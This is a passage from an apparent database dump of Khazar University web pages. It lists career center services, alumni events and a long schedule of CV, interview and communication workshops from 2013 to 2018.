resume/CVs and covering letters for interviews, and application forms</li><li>planning and preparing for graduate school</li><li>providing information on international fellowship and scholarship programs</li></ul><br><p>The Center establishes relationships with potential employers in order to provide students with professional skills, integrate academic education with work, and explore employment opportunities by:</p><br><ul><li>organizing company tours and on-campus presentations</li><li>exploring possibilities for internships, summer jobs, and volunteer services</li><li>organizing job fairs</li></ul><br><p>We appreciate and look forward to working with you!</p><p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/en/menus/484/bizimle_elaqe\">Contact us</a></p>'),(3298,1936,'en','Masterclass for Students of School of Economics and Management','On February 25, 2017, a masterclass on “Bank Risks Management” was jointly organized by Khazar University Alumni Association and Alumni Relations Center for students of the...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;text-indent:.25in\"\"=\"\">On February 25,\r\n2017, a masterclass on “Bank Risks Management” was jointly organized by Khazar\r\nUniversity Alumni Association and Alumni Relations Center for students of the\r\nSchool of Economics and Management. Baba Bayramli, Director of Alumni Relations\r\nCentre, welcomed participants and stressed the importance of the topic of the\r\nmasterclass. Eldar Hamidov, Khazar University Alumni Association president and\r\nchairman of Bank of Baku JSC, presented the logo and slogan of Khazar\r\nUniversity Alumni Association. Then Khazar University alumni – Ramal Ahmadov,\r\nHead of Department of Damir Bank JSC and Nigar Jabbarova, collaborator of Bank\r\nof Baku JSC, made a presentation on “Bank Risks Management”. The masterclass\r\ncontinued with&nbsp;&nbsp;interesting\r\ndiscussions and debates with the active participation of Elvin Mirzayev,\r\ninstructor of the School of Economics and Management.&nbsp;</p>'),(3299,1934,'en','Class Dedicated to Khojali Tragedy','On February 25, 2017, a course “The History of Caucasian Archeology: Cultural Heritage and Khojaly-Gadabay Cultural Collections in European Museums” taught by Nuride Ateshi...','<p>On February\r\n25, 2017, a course “The History of Caucasian Archeology: Cultural Heritage and\r\nKhojaly-Gadabay Cultural Collections in European Museums” taught by Nuride\r\nAteshi, instructor of the Department of History and Archeology, was dedicated\r\nto the Khojali Tragedy. </p>\r\nStudents\r\nof the School of Education discussed the Khojali Tragedy – its causes and\r\nheartbreaking results. Ilaha Yusifli, Aysel Mansumova, Aytan Babayeva and\r\nShahriyar Karimov spoke about the tragedy, its international recognition and\r\ncampaigns for it. Yusif Ahmadov, Aytan Babayeva, Samid Akhundov shared their\r\nparents memories about the tragedy'),(704,497,'en','Upcoming Events','Upcoming Events',''),(705,499,'en','Trainings and Workshops','Trainings and Workshops','<p style=\"text-align:center\"><strong>CV Writing Workshop</strong></p><p><strong>Trainer</strong>: Sabina Allahveranova</p><p>Manager of Career Center</p><p><strong>Date</strong>: March 7, 2018</p><p><strong>Time</strong>: 2 P. M.</p><p><strong>Room </strong>211 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD</p><p><strong>DEADLINE </strong>for Registration is 17:00, March 6, 2018</p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>CV Writing Workshop</strong></p><p><strong>Trainer</strong>: Sabina Allahveranova</p><p>Manager of Career Center</p><p><strong>Date</strong>: February 28, 2018</p><p><strong>Time</strong>: 10 A. M.</p><p>Room 211 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD</p><p>DEADLINE for Registration is 17:00, February 27, 2018</p>  <p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Tips on how to pass interview successfully</strong></p><p><strong>Trainer</strong>: Sabina Allahveranova</p><p>Manager of Career Center</p><p><strong>Date</strong>: February 16, 2017</p><p><strong>Time</strong>: 12:40-14:00</p><p><strong>Location</strong>: Room 211 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD Building</p><p><strong>DEADLINE for Registration </strong>is 17:00, February 15, 2017</p><p><br></p><p style=\"text-align:center\"><strong>CV/Resume Writing Workshop</strong></p><p><strong>Trainer</strong>: Sabina Allahveranova</p><p>Manager of Career Center</p><p><strong>Date</strong>: February 9, 2018</p><p><strong>Time</strong>: 11 A. M.</p><p>Room 211 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD</p><p><strong>DEADLINE for Registration </strong>is 17:00, February 8, 2018</p>  <p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>CV Writing Workshop</strong></p><p><strong>Trainer</strong>: Sabina Allahveranova</p><p>Manager of Career Center</p><p><strong>Date</strong>: December 21, 2017</p><p><strong>Time</strong>: 15:00 – 16:00</p><p>Room 211 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD Building</p><p><strong>DEADLINE for Registration is 17:00, December 19,&nbsp;2017</strong></p><p><br></p><p><br></p><p style=\"text-align:center\"><strong>Workshop on “Mapping Youth Transitions from School to Work in Azerbaijan”, organized by European Training Foundation (ETF)</strong></p><p><strong>By</strong>: Mr. Ilkin Nazarov, ETF National Expert</p><p>Ms. Eduarda Castel Branco, ETF, Senior Specialist in Labour Market and Qualifications</p><p><strong>Date</strong>: December 1, 2017</p><p><strong>Time</strong>: 10:00- 14:00</p><p>Park Inn by Radisson Baku Hotel</p>  <p style=\"text-align:left\"><strong style=\"text-align:center\"><br></strong></p><p style=\"text-align:center\"><strong style=\"text-align:center\">Open Lecture on&nbsp;\"Public Speaking\"</strong></p><p><strong>Guest lecturer:</strong>&nbsp;Dr. Sam Potolicchio</p><p>Dr. Potolicchio is a professor of Georgetown University&nbsp;who is visiting Baku in frame of the Alumni Speaker Grant Program of the US Embassy in Baku.</p><p>On April 17 12:00&nbsp;<br></p><p>Khazar University Neftchilar campus 503 OLD</p><p>For registration, send an email to careercenter@khazar.org .&nbsp;</p>  <p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Training on&nbsp;‘Careers in Accounting and Finance’&nbsp;</strong></p><p style=\"text-align:left\"><strong>Speaker:&nbsp;</strong>Orkhan Yusifov, CPA, is a founder and CEO of\r\nPCOB Group, a professional services firm providing consulting services in\r\naccounting and financial reporting matters.&nbsp;  </p><ul><li>How to build strong resumes</li><li>Writing influential cover letters</li><li>Effective preparation for job interviews</li><li>How to find desired jobs</li><li>ACCA classes</li><li>PCOB\'s Talent Delivery Services</li><li>Six one-on-one mock interviews with feedback,15 min each (first come first serve) &nbsp;</li></ul><p>April 5, 2017, 14:00 - 17:00</p><p>Room 102N&nbsp;NEW, Neftchilar Campus</p>\r\n<p>For registration,&nbsp;send an email to\r\ncareercenter@khazar.org&nbsp;.&nbsp;</p>  <p style=\"text-align:left\"><br></p><p dir=\"ltr\"><br></p><p dir=\"ltr\" style=\"text-align:center\"><strong>Seminar on \"What is Strategy?\"</strong></p><p dir=\"ltr\" style=\"text-align:left\"><strong>Speaker:</strong> Khatira Mikayilova</p><p dir=\"ltr\" style=\"text-align:left\">April 4, 2017 14:00 - 15:30</p><p dir=\"ltr\">Room 102N&nbsp;NEW, Neftchilar Campus  <br></p><p dir=\"ltr\">For registration,&nbsp;send an email to careercenter@khazar.org&nbsp;.&nbsp;  <br></p><p dir=\"ltr\"><strong><br></strong></p><p dir=\"ltr\" style=\"text-align:center\"><strong>“Benefits of Internship Programs in\r\nCareer Development\"&nbsp;</strong></p><p dir=\"ltr\"><strong>Speaker: </strong>Rashad Baghirov</p><p dir=\"ltr\">February 24, 2017 3:00&nbsp;pm-5:00&nbsp;pm</p><p dir=\"ltr\">Room&nbsp;206 OLD, Neftchilar Campus<br></p><p dir=\"ltr\">For registration, visit Career Center at Room 211, II floor&nbsp;OLD, or send an email to careercenter@khazar.org&nbsp;.&nbsp;</p><p dir=\"ltr\"><br><!-- pagebreak --></p><p dir=\"ltr\" style=\"text-align:center\"><br></p><p dir=\"ltr\" style=\"text-align:center\"><strong>Open Lecture: Graduating at tough economic times: personal branding and networking&nbsp;  </strong></p><p dir=\"ltr\">Speaker: Douglas Reichenberger</p><p dir=\"ltr\">28th January, 2017, 12:00pm</p><p dir=\"ltr\">New building, Lifelong Learning Center, 5th floor</p><p dir=\"ltr\">For information, visit Career Development Center, Room 211, II floor, OLD</p><p dir=\"ltr\">This lecture is open to public.</p><div><br><br></div><div><strong><div><hr noshade=\"noshade\"><br></div>COMMUNICATION TRAINING</strong></div><p dir=\"ltr\">by&nbsp;Nargiz Garavaliyeva</p><p dir=\"ltr\">28&nbsp;December, 2016</p><p dir=\"ltr\">16:00 – 18:00</p><p dir=\"ltr\">Room N 206 (II floor, OLD)</p><p>For registration, visit Career Center Room № 211, II floor, OLD</p><p dir=\"ltr\">Only 20 students are encouraged to participate in the Training.</p><p dir=\"ltr\"><em>DEADLINE for Registration is 17:00, 27 December 2016</em></p><p><br></p><br><hr noshade=\"noshade\"><br><br><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Career and Life Planning Workshop</strong></p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Date:&nbsp;21 October, 2016</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Time:&nbsp;16:00 – 17:00</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Room 211 (II floor, OLD)</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">For registration, visit Career Center Room\r\n№ 211, II floor, OLD</p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\"><br></p>  <br><hr noshade=\"noshade\"><br><br><p><br></p><div><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<strong>Mock Interview Skills Workshop</strong></strong></div>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Date:&nbsp;13 October, 2016</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Time:&nbsp;10:00 – 12:00</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Room 211 (II floor, OLD)</p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">For registration, visit Career Center Room\r\n№ 211, II floor, OLD</p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\"><br></p><hr noshade=\"noshade\"><strong><br></strong><br><p><strong><br></strong></p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CV/Resume Writing Workshop</strong></p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Trainer:&nbsp;<strong>Ulviyya Huseynova</strong></p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Coordinator of Career Development Center</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Date:&nbsp;7 October, 2016</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Time:&nbsp;15:00 – 16:00</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Room 211 (II floor, OLD)</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">For registration, visit Career Center Room\r\n№ 211, II floor, OLD</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">DEADLINE for Registration is 17:00, 6 October\r\n2016</p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\"><br></p>  <br><hr noshade=\"noshade\"><br><br><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;“Effective Communication Skills”&nbsp;</strong>&nbsp;</p><p>Trainer:&nbsp;<strong>Nərgiz&nbsp;Qaravəliyeva</strong></p><br><ul><li>17 March, 2016-&nbsp;Communication is not only speaking. Ironically, the more we talk, the less we’re able to communicate.</li><li>31 March, 2016-&nbsp;Effective Communication Skills: Resolving Conflicts<em>&nbsp;</em></li><li>7 April, 2016-&nbsp;Effective communication is a key to strong, healthy families<em>.</em><em>&nbsp;</em></li></ul><br><p><em></em></p><p>Time:&nbsp;14:00-16:00&nbsp;</p><p>Room 206, Neftchilar Campus&nbsp;</p><p>To register for the&nbsp;training, visit room Career Development Center&nbsp;</p><p>Register soon!&nbsp; &nbsp; &nbsp;&nbsp;</p><p>&nbsp;</p><hr noshade=\"noshade\"><br><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “</strong><strong>Effective interview</strong><strong>” training by CIBS&nbsp;</strong>&nbsp;</p><p>Trainer:&nbsp;<strong>Tabriz Hajiyev</strong></p><p>&nbsp;Date:&nbsp;26 February, Friday 2016&nbsp;</p><p>Time:&nbsp;11:00&nbsp;</p><p>Room 206, Neftchilar Campus&nbsp;&nbsp;</p><p>To register for the workshop, visit room Career Development Center &nbsp;</p><p>Register soon!&nbsp; &nbsp; &nbsp;&nbsp;</p><p>&nbsp;</p><hr><p><strong>&nbsp;</strong></p><p><strong> &nbsp;&nbsp;“Sociological studies on the master class for young people” training</strong></p><p>Trainer:<strong>&nbsp;Tamerlan Dəmirbəyli</strong></p><p>Date:&nbsp;19 December, Saturday 2015</p><p>Time:&nbsp;12:00</p><p>Room 206, Neftchilar Campus&nbsp;</p><p>To register for the workshop, visit room Career Development Center&nbsp;</p><p>Register soon!&nbsp; &nbsp; &nbsp; &nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “The first step from the higher education to the enterprise”</strong><strong>&nbsp;training by CSS company</strong></p><p>Date: 30 November, 2015</p><p>Time:&nbsp;12:00</p><p>Room 206old Nefchiler Campus</p><p>For registration please visit Career Development Center (211 old)&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp;“What will you discover?” training by BP</strong><strong>&nbsp;</strong><strong>&nbsp;</strong>&nbsp;</p><p>Electronics, telecommunication, radio engineering (2017 Graduates), Civil engineering (2016 and 2017 Graduates), Petroleum Engineering (2017 Graduates) and Finance (2017 Graduates) students are invited for this event.</p><p>Date:&nbsp;Thursday, 02 Dec 2015</p><p>Time:&nbsp;15:30&nbsp;</p><p>Room 206, II floor, OLD&nbsp;</p><p>For registration please visit Career Development Center&nbsp;</p><p><br></p><hr><p><br></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; “</strong><strong>Emotional and lies</strong><strong>”</strong>&nbsp;training<strong>&nbsp;</strong></p><p>Trainer:&nbsp;<strong>Fakhraddin Abdullayev</strong></p><p>Date:&nbsp;27 November, Friday&nbsp;</p><p>Time:&nbsp;15:00</p><p>II floor&nbsp;room № 206 (old) &nbsp;</p><p>For registration please visit Career Development Center,&nbsp;Room&nbsp;№211 (OLD);&nbsp;</p><p><br></p><hr><p>&nbsp;</p><table><tbody><tr><td><img src=\"/files/social/thumbnail_inter.jpg\" width=\"150\" height=\"116\"></td></tr></tbody></table><p>&nbsp;</p><p><strong>DEAR KHAZAR UNIVERSITY STUDENTS!</strong>&nbsp;</p><p>Please be aware that as of October 22<sup>nd</sup>&nbsp;application to&nbsp;<strong>P&amp;G Summer Internship Program</strong>&nbsp;is opened.</p><p>Below you may find link on Facebook:</p><p><a href=\"https://www.facebook.com/168972899960952/photos/a.168986626626246.1073741826.168972899960952/416301878561385/?type=3&amp;theater\"><strong>Click here!</strong></a>&nbsp;</p><p>All 3<sup>rd</sup>/4<sup>th</sup>&nbsp;year bachelor students (4<sup>th</sup>/5<sup>th</sup>&nbsp;from 5 years education system) and master students can apply to P&amp;G Summer Internship Program!</p><p><strong>P&amp;G Azerbaijan (General Application for 2016 Internship positions)</strong>&nbsp;&nbsp;</p><p>- Best in Class Learning &amp; Development Opportunities&nbsp;&nbsp;</p><p>-&nbsp;Responsibility as of 1<sup>st</sup>&nbsp;day&nbsp;&nbsp;</p><p>- Fun &amp; dynamic working environment&nbsp;&nbsp;</p><p><strong>Apply to P&amp;G Azerbaijan Now!</strong>&nbsp;&nbsp;</p><p>Do you still have questions?&nbsp;</p><p>Come to P&amp;G Summer Internship Program Presentation at your university&nbsp;</p><p>November 23rd, at 15:00 in Auditorium 206 (old)</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Career Development Seminar by AzerSun</strong>&nbsp;</p><p>Date:&nbsp;16 November, Monday&nbsp;</p><p>Time:&nbsp;15:00- 17:00&nbsp;</p><p>II floor&nbsp; room № 206 (old)&nbsp;&nbsp;</p><p>Registration period: 2-16 November&nbsp;</p><p>Theme:</p><br><ul><li> Correct CV Writing&nbsp;</li><li>Application form guidelines&nbsp;</li><li>Preparation for job interviews&nbsp;</li><li>How to participate in career fairs&nbsp;</li><li>Social recruiting&nbsp;</li></ul><br><p>For registration, please visit the Career Development Center.&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Risk Management Training</strong>&nbsp;</p><p>&nbsp;Trainer:&nbsp;<strong>Samir Javadov</strong></p><p>Date:&nbsp;Friday, 23 October 2015&nbsp;</p><p>Time:&nbsp;18:00 &nbsp;</p><p>Room 206, II floor, OLD &nbsp;</p><p>For registration please visit Career Development Center&nbsp;</p><p>Registration period: 19-23 October</p><p><br></p><div><hr></div><div><img src=\"/files/social/thumbnail_orxan%20oruc.jpg\" width=\"150\" height=\"166\"></div><div><p>&nbsp;</p><p>&nbsp;</p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p>Effective CV writing&nbsp;Workshop&nbsp;</p><p>Trainer-<strong>Orxan Oruc&nbsp;</strong></p></div><div><strong><br></strong></div><div><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; EDUCATION AND TRAINING&nbsp;</strong><strong>&nbsp;</strong></p><p>01/09/2007–01/06/2011 &nbsp;</p><p>Psychology (Bachelor)&nbsp;&nbsp;</p><p>Azerbaijan State Pedagogical University, Baku (Azerbaijan)&nbsp;&nbsp;</p><p>15/09/2012–20/06/2014&nbsp;&nbsp;</p><p>General Psychology (Master degree)&nbsp;&nbsp;</p><p>Azerbaijan State Pedagogical University, Baku (Azerbaijan)&nbsp;&nbsp;</p><p>22/09/2014–06/07/2015&nbsp;&nbsp;</p><p>Organizational and Cognitive Psychology&nbsp;&nbsp;</p><p>Gent University, Gent (Belgium)</p><p>Date:&nbsp;16 October, 2015&nbsp;&nbsp;</p><p>Time:&nbsp;17:00-18:30&nbsp;</p><p>Room 206 (2th floor old)&nbsp;&nbsp;</p><p>Neftciler campus&nbsp;</p><p>For registr, visit Career Center room № 211&nbsp;</p><p><br></p></div><hr>&nbsp;<p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Business communication and management</strong></p><p>Trainer:&nbsp;<strong>Shravani Sarbadhikar&nbsp;</strong></p><p>Date:&nbsp;11 March, Wednesday, 2015&nbsp;</p><p>Time:&nbsp;15:00&nbsp;&nbsp;</p><p>Room 206, Neftchilar Campus</p><p>To register for the workshop, visit room Career Development Center &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p>&nbsp;Register soon!&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Technical Interview &nbsp;</strong>&nbsp;&nbsp;</p><p>Trainer:&nbsp;<strong>Farid Abbasov&nbsp; &nbsp;</strong></p><p>Date:&nbsp;6 March , Friday , 2015&nbsp;&nbsp;</p><p>Time:&nbsp;15:00 - 16:00&nbsp;&nbsp;</p><p>Room 206, Neftchiler Campus</p><p>To register for the workshop, visit room Career Center (211) &nbsp;&nbsp;</p><p>Register soon!&nbsp;&nbsp;</p><p><strong>&nbsp;</strong></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Time Management</strong>&nbsp;&nbsp;</p><p>Trainer:&nbsp;<strong>Tofig Sadikhov&nbsp;</strong></p><p>Date:&nbsp;5&nbsp;February, Thursday, 2015&nbsp;</p><p>Time:&nbsp;11:00 – 13:00&nbsp;&nbsp;</p><p>Room 206, Neftchiler Campus</p><p>To register for the workshop, visit room Career Center (211)&nbsp;</p><p>Register soon!</p><p><br></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Entrepreneurship</strong>&nbsp;</p><p>Trainer:&nbsp;<strong>Elgun Qurbanov&nbsp;</strong></p><p>Date:&nbsp;5December, Friday, 2014&nbsp;</p><p>Time:&nbsp;15:00-16:30&nbsp;</p><p>Room 206, Neftchilar Campus &nbsp;</p><p>To register for the workshop, visit room Career Development Center&nbsp;</p><p>Register soon!</p><p><br></p><h3><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Self - Development</strong>&nbsp;</p><p>Trainer:&nbsp;Togrul Alakbarov&nbsp;&nbsp;</p><p>Date:&nbsp;27&nbsp;November, Thursday, 2014&nbsp;&nbsp;</p><p>Time:&nbsp;15:00-17:00&nbsp;&nbsp;</p><p>Room 206, Neftchilar Campus&nbsp;</p><p>To register for the workshop, visit room Career Development Center&nbsp;</p><p>Register soon!</p><p><br></p></h3><h3><hr></h3><h3><p><strong><br></strong></p><p><strong>How to write Effective Resume/CV</strong>&nbsp;</p><p>Trainer:&nbsp;Tofig Sadikhov&nbsp;</p><p>Date:&nbsp;12 December, Thursday, 2013&nbsp;</p><p>Time:&nbsp;12:00 – 14:00&nbsp;</p><p>Room 45, Downtown Campus</p><p>To register for the workshop, visit room Dean Assistant</p><p>Register soon!</p><p>&nbsp;We are pleased to inform you that the&nbsp;Career Center&nbsp;will conduct workshop on</p></h3><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ORGANIZATIONAL COMMUNICATION</strong>&nbsp;&nbsp;</p><p>Date :&nbsp;2 November, Saturday, 2013</p><p>Time:&nbsp;15:00 - 17:00&nbsp;</p><p>&nbsp;Place:&nbsp;Hall No&nbsp;206&nbsp;</p><p>&nbsp;Trainer:&nbsp;<strong>Aynur Nabiyeva</strong></p><p>To register for the workshop, visit Room&nbsp;<strong>No 211</strong>&nbsp;</p><p>Career Development Center</p><p><strong>Deadline: 1 November, 17.00</strong></p><p>Register soon!</p><p><strong>&nbsp;</strong></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong>HOW TO MAKE MONEY AS A FREELANCE DEVELOPER?</strong>&nbsp;</p><p>Date:&nbsp;26 October, Saturday&nbsp;</p><p>Time:&nbsp;15:00 – 17:00&nbsp;</p><p>Room No 206 (II floor, OLD)&nbsp;</p><p>To register for the workshop, visit Room No 211 (OLD)&nbsp;</p><p>Career Development Center</p><p>You can do more than just academic work!</p><p>&nbsp;YOU ARE INVITED!</p><p>We are pleased to inform you that the Career Center will conduct a workshop on</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Project Management</strong></p><p>Participants will learn how to write projects, how to successfully win grants and how to manage a project’s sustainability.</p><p>Create your own project! Work individually and gain your own experience!</p><p>Date:&nbsp;Saturday, 5 October 2013</p><p>Time:&nbsp;15:00 - 18:00</p><p>Room N&nbsp;206</p><p>Trainer: <strong>Tamerlan Damirbayli&nbsp;</strong></p><p>To register for the workshop, visit Career Development Center</p><p><strong>Deadline: 4 October, 17:00</strong></p><p><strong><br></strong></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ATTENTION PSYCOLOGISTS!</strong></p><p>CHILD BEHAVIOR PROBLEMS AND THEIR ELIMINATION</p><p>Date:&nbsp;3 May, Friday, 2013</p><p>Time:&nbsp;16:00 - 18:00</p><p>Place:&nbsp;403 (New Building)</p><p>Trainer:<strong>&nbsp;Aida Nebiyeva</strong></p><p>For any question please visit Room N 211</p><p>Career Development Center</p><p>Don’t miss the chance!&nbsp;</p><p>&nbsp;We are pleased to inform you that the Career Center will conduct training on</p><p><br></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SKILLED INTERN</strong></p><p>Session Titles: &nbsp;</p><br><ul><li>What is Internship and who is Intern?</li><li>How to be skilled Intern? ;</li><li>How to go and to come back from Internship? ;</li><li>Effective Intern and Leadership Skills</li></ul><em></em><br><p>Date:&nbsp;10 May, Friday, 2013</p><p>Time:&nbsp;18:30 - 20:30</p><p>Place:&nbsp;&nbsp; Hall N 206 (old building)&nbsp;</p><p>Trainer:&nbsp;<strong>Togrul Alakbarov</strong></p><p>To register for the workshop, visit Career Development Center</p><p>Room N 211 (old building)</p><p>Deadline: 8 May, 20:00</p><p><strong>Remember!</strong>&nbsp;Only 25 candidates can apply for participation</p><p><strong>NOTE:</strong><em>&nbsp;&nbsp;&nbsp;</em>Each participant completing all sections of the course will receive a Certificate of Training signed by the Career Center Coordinator and Trainer. Any changes will be sent by e-mail.</p><p>&nbsp;We are pleased to inform you that the Career Center will conduct workshop on</p><p><br></p><hr><p><strong>&nbsp;</strong></p><p><strong> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NLP (Neuro Linguistic Programming)</strong></p><p>Sessions:</p><br><ul><li>Bring more elegance and mastery to your communication;</li><li>Enhance your relationships in all areas of your life;</li><li>Learn to handle stress with lightness and humor;</li><li>Improve your whole attitude to yourself and others;</li><li>Change the lives of those around you for good</li></ul><br><p>Date:&nbsp;27 April, Friday, 2013</p><p>Time:&nbsp;15:00 - 17:00</p><p>Hall No 304 (III floor, old campus)</p><p>Trainer:&nbsp;&nbsp;<strong>Babak Bayramov</strong></p><p>For any inquiry please, visit Room N 211</p><p>Career Development Center</p><p>Don’t miss the chance!</p><p><br></p><hr><p><br><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 